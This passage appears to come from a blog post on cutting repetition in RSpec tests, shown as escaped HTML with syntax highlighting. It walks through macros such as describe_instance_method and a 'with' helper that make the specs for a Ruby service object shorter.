&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          :enterprise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.a_long_and_descriptive_method(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          :enterprise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;returns the value when E+&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.a_long_and_descriptive_method(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          :enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.a_long_and_descriptive_method(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          :enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;          2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I don’t know about you, but I get pretty grumpy when my tests are 8 times longer than the method I’m trying to specify. Not exactly joyful.&lt;/p&gt;
&lt;h3&gt;Don&apos;t repeat &lt;code&gt;described_class&lt;/code&gt; everywhere&lt;/h3&gt;
&lt;p&gt;The first step here is to extract out the incredibly verbose method call:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;./service&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.a_long_and_descriptive_method&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    subject(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:described_method&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.method(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;returns modulo when not E+&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_method.call(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_method.call(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;returns the value when E+&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_method.call(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_method.call(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      ).to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a little better. I like the trick of using &lt;code&gt;.method()&lt;/code&gt; to grab the method under test. Even just this small enhancement gives me a lot less typing.&lt;/p&gt;
&lt;p&gt;But there’s still some repetition here: I have to repeat the method name a couple of times, and I have to keep typing out &lt;code&gt;described_method&lt;/code&gt;. Since I’m using an explicit subject, I also don’t get to write short, punchy, self-documenting expectations. Additionally, I don’t get any hint from the spec what those parameters actually are. It would be nice to have that be self-documenting as well.&lt;/p&gt;
&lt;h3&gt;Writing our own descriptors&lt;/h3&gt;
&lt;p&gt;Let’s go one level deeper, by adding some methods to rspec’s example group.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;./service&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; RspecExtensions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; describe_instance_method&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(method_name, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    describe &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;#&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{method_name}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:described_method&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.method(method_name)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      instance_eval(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RSpec&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Core&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ExampleGroup&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.send(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:extend&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RspecExtensions&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe_instance_method &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    subject { described_method.call(subscription_class, value) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:subscription_class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:subscription_class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      context &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        let(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&apos;re inserting our own macro here to avoid repeating the name of the method (in case we want to change it in the future). It also gives us a subject block that immediately tells us the method signature. While it&apos;s not obvious with this example, my experience is that using &lt;code&gt;context&lt;/code&gt; and &lt;code&gt;let&lt;/code&gt; also makes it really, really easy to add new test cases. If I think of some new edge cases that I want to test, I just have to drop a new expectation into the right section of the file, with all the other variables that are already put together.&lt;/p&gt;
&lt;h3&gt;A better way to add context&lt;/h3&gt;
&lt;p&gt;Our code is still pretty verbose, since we have to define a new context and a new &lt;code&gt;let&lt;/code&gt; for each parameter value we want to test. Let’s write a macro for that. We&apos;ll add this to our RspecExtensions module:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; with&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(lets, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    context_description &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lets.map{|k, v| &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{k}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{v}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}.join(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    context(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;with &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{context_description}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      lets.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |lk, lv|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        let(lk) { lv }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      instance_eval(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, our specs look like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
